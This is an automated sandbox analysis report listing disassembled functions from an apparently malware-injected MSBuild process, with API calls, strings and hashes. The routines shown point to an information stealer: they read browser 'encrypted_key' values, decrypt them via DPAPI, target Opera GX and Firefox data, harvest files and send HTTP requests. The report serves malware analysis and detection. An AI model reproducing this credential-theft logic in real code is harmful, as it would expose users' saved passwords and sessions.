Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: ae3a14dfbe6f3ec2ed6d2cc1cd355128f425982979edd8864c0be2403f7a9293
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: ae3a14dfbe6f3ec2ed6d2cc1cd355128f425982979edd8864c0be2403f7a9293
Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

, xrefs: 00408241
"encrypted_key":", xrefs: 004081DF
DPAPI, xrefs: 0040821B

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 034d3ebf0bbd41a52b14413c82dab1af8e55324f20d12265e500f68ae9061e99
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: 034d3ebf0bbd41a52b14413c82dab1af8e55324f20d12265e500f68ae9061e99
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 00410CC0 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
RtlAllocateHeap.NTDLL(00000000), ref: 00410CDF
GetLocalTime.KERNEL32(?), ref: 00410CEB
wsprintfA.USER32 ref: 00410D16

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 5c7da9d774efdaa0fdd76bf82abc7e5b87a86e22502ea334df05fc1f96782480
Instruction ID: 829b10f54598a7ff4258e043d4963b9d7c9dabd005c17a1734c4fecc941c9070
Opcode Fuzzy Hash: 5c7da9d774efdaa0fdd76bf82abc7e5b87a86e22502ea334df05fc1f96782480
Instruction Fuzzy Hash: 22F031B2900218BBDF14DFE59C059BF77BCAB0C716F001095F941E2180E6399A80D775

Function 00416330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Strings

~{A, xrefs: 004164AE

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: ~{A
API String ID: 2104210347-1816022387
Opcode ID: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction ID: ef6e44f044fd48bf473e8ed9b3318a571f04af2e7fbcf45178638c8cb6289389
Opcode Fuzzy Hash: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction Fuzzy Hash: 3231F77280010DEFDF15EB60DC43EE8377AEB08314F1440AEF606932A1EA769B919F55

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 00416896
ERROR, xrefs: 0041686B

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416FA7 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 0041700E
CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction ID: 6ddc57dea45eff21f3b413cd8a29bb57df9be50e409c6c2ee2748a51ac3a6ecc
Opcode Fuzzy Hash: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction Fuzzy Hash: E6217832900229ABCF10EF96EC419DE7BB9FF44358F10402BF904A3150D738AA86CFA4

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6C413060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C413095

Part of subcall function 6C4135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C49F688,00001000), ref: 6C4135D5
Part of subcall function 6C4135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4135E0
Part of subcall function 6C4135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4135FD
Part of subcall function 6C4135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C41363F
Part of subcall function 6C4135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C41369F
Part of subcall function 6C4135A0: __aulldiv.LIBCMT ref: 6C4136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C41309F

Part of subcall function 6C435B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4356EE,?,00000001), ref: 6C435B85
Part of subcall function 6C435B50: EnterCriticalSection.KERNEL32(6C49F688,?,?,?,6C4356EE,?,00000001), ref: 6C435B90
Part of subcall function 6C435B50: LeaveCriticalSection.KERNEL32(6C49F688,?,?,?,6C4356EE,?,00000001), ref: 6C435BD8
Part of subcall function 6C435B50: GetTickCount64.KERNEL32 ref: 6C435BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4130BE

Part of subcall function 6C4130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C413127
Part of subcall function 6C4130F0: __aulldiv.LIBCMT ref: 6C413140

Part of subcall function 6C44AB2A: __onexit.LIBCMT ref: 6C44AB30

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7013b533d688bcf94afe5abe57657d731c1210902df1602325dd74fad7c5056c
Instruction ID: 98e06e233aab916d5101fc138c92c0ed50d448509cce88b46233920868404365
Opcode Fuzzy Hash: 7013b533d688bcf94afe5abe57657d731c1210902df1602325dd74fad7c5056c
Instruction Fuzzy Hash: DFF0D622D2579496EA10EF348841AE6B774EF7B118B50571DF88853511FB2065E9C3C1

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 0fb41c61df57f504aaf5de9142bc873bfa384d999c6abac19d8a053c1ed93182
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 0fb41c61df57f504aaf5de9142bc873bfa384d999c6abac19d8a053c1ed93182
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 004170C7 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 0041710E

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
